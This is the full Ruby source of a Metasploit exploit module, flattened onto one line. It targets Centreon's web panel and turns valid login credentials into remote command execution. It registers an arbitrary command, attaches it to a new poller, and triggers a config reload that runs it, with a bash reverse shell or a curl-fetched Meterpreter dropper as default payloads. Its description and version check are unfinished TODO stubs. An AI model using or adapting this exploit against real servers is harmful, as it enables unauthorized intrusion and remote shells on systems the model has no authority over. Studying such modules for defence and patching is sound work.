## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Centreon Poller Authenticated Remote Command Execution', 'Description' => %q{ TODO }, 'Author' => [ 'Omri Baso', # discovery 'Fabien Aunay', # discovery 'mekhalleh (RAMELLA Sébastien)' # this module ], 'References' => [ # TODO: waiting for CVE ['EDB', '47977'] ], 'DisclosureDate' => '2020-01-27', 'License' => MSF_LICENSE, 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_CMD, ARCH_X64], 'Privileged' => true, 'Targets' => [ ['Reverse shell (In-Memory)', 'Platform' => 'unix', 'Type' => :cmd_unix, 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } ], ['Meterpreter (Dropper)', 'Platform' => 'linux', 'Type' => :meterpreter, 'Arch' => ARCH_X64, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' # illegal characters: `~$^&"|'<> } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } )) register_options([ OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']), OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']), OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with']) ]) end def create_new_poller(poller_name, command_id) print_status("Create new poller entry on the target.") token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60901'}) return false unless token response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60901'), 'cookie' => @cookies, 'partial' => true, 'vars_post' => { 'name' => poller_name, 'ns_ip_address' => '127.0.0.1', 'localhost[localhost]' => '1', 'is_default[is_default]' => '0', 'remote_id' => '', 'ssh_port' => '22', 'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1', 'engine_start_command' => 'service centengine start', 'engine_stop_command' => 'service centengine stop', 'engine_restart_command' => 'service centengine restart', 'engine_reload_command' => 'service centengine reload', 'nagios_bin' => '/usr/sbin/centengine', 'nagiostats_bin' => '/usr/sbin/centenginestats', 'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata', 'broker_reload_command' => 'service cbd reload', 'centreonbroker_cfg_path' => '/etc/centreon-broker', 'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker', 'centreonbroker_logs_path' => '/var/log/centreon-broker', 'centreonconnector_path' => '', 'init_script_centreontrapd' => 'centreontrapd', 'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/', 'pollercmd[0]' => command_id, 'clone_order_pollercmd_0' => '', 'ns_activate[ns_activate]' => '1', 'submitA' => 'Save', 'id' => '', 'o' => 'a', 'centreon_token' => token } ) return false unless response return true end def execute_command(command, opts = {}) cmd_name = rand_text_alpha(8..42) poller_name = rand_text_alpha(8..42) ## Register a miscellaneous command. print_status("Upload command payload on the target.") token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60803', 'type' => '3'}) return false unless token response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.get.php?p=60803&type=3'), 'cookie' => @cookies, 'partial' => true, 'vars_post' => { 'command_name' => cmd_name, 'command_type[command_type]' => '3', 'command_line' => command, 'resource' => '$CENTREONPLUGINS$', 'plugins' => '/Centreon/SNMP', 'macros' => '$ADMINEMAIL$', 'command_example' => '', 'listOfArg' => '', 'listOfMacros' => '', 'connectors' => '', 'graph_id' => '', 'command_activate[command_activate]' => '1', 'command_comment' => '', 'submitA' => 'Save', 'command_id' => '', 'type' => '3', 'o' => 'a', 'centreon_token' => token } ) return false unless response ## Create new poller to serve the payload. create_new_poller(poller_name, get_command_id(cmd_name)) poller_id = get_poller_id(poller_name) ## Export configuration to reload to trigger the exploit. unless poller_id.nil? restart_exportation(poller_id) end end def get_auth print_status("Send authentication request.") token = get_token(normalize_uri(target_uri.path, 'index.php')) unless token.nil? response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'cookie' => @cookies, 'vars_post' => { 'useralias' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'submitLogin' => 'Connect', 'centreon_token' => token } ) return false unless response if response.redirect? if response.headers['location'].include?('main.php') print_status('Successful authenticated.') @cookies = response.get_cookies return true end end end print_bad('Your credentials are incorrect.') return false end def get_command_id(cmd_name) response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'main.get.php'), 'cookie' => @cookies, 'vars_get' => { 'p' => '60803', 'type' => '3' } ) return nil unless response href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href'] return nil unless href id = href.split('?')[1].split('&')[2].split('=')[1] return id unless id.empty? return nil end def get_poller_id(poller_name) response = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'main.get.php'), 'cookie' => @cookies, 'vars_get' => {'p' => '60901'} ) return nil unless response href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href'] return nil unless href id = href.split('?')[1].split('&')[2].split('=')[1] return id unless id.empty? return nil end def get_session response = send_request_cgi( 'method' => 'HEAD', 'uri' => normalize_uri(target_uri.path, 'index.php') ) cookies = response.get_cookies return cookies unless cookies.empty? end def get_token(uri, params = {}) ## Get centreon_token value. request = { 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies } request = request.merge({'vars_get' => params}) unless params.empty? response = send_request_cgi(request) return nil unless response return response.get_html_document.at('input[@name="centreon_token"]')['value'] end def restart_exportation(poller_id) print_status("Reload the poller to trigger exploitation.") token = get_token(normalize_uri(target_uri.path, 'main.get.php'), {'p' => '60902', 'poller' => poller_id}) vprint_status(' -- Generating files.') unless token.nil? response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'), 'cookie' => @cookies, 'vars_post' => { 'poller' => poller_id, 'debug' => 'true', 'generate' => 'true' } ) return nil unless response vprint_status(' -- Restarting engine.') response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'), 'cookie' => @cookies, 'vars_post' => { 'poller' => poller_id, 'mode' => '2' } ) return nil unless response vprint_status(' -- Executing command.') response = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'), 'cookie' => @cookies, 'vars_post' => {'poller' => poller_id} ) return nil unless response end end def check # TODO: Detection by version number (waiting to know the impacted versions). end def exploit ## TODO: check @cookies = get_session logged = get_auth unless @cookies.empty? if logged case target['Type'] when :cmd_unix execute_command(payload.encoded) when :meterpreter execute_command(generate_cmdstager.join) end end end end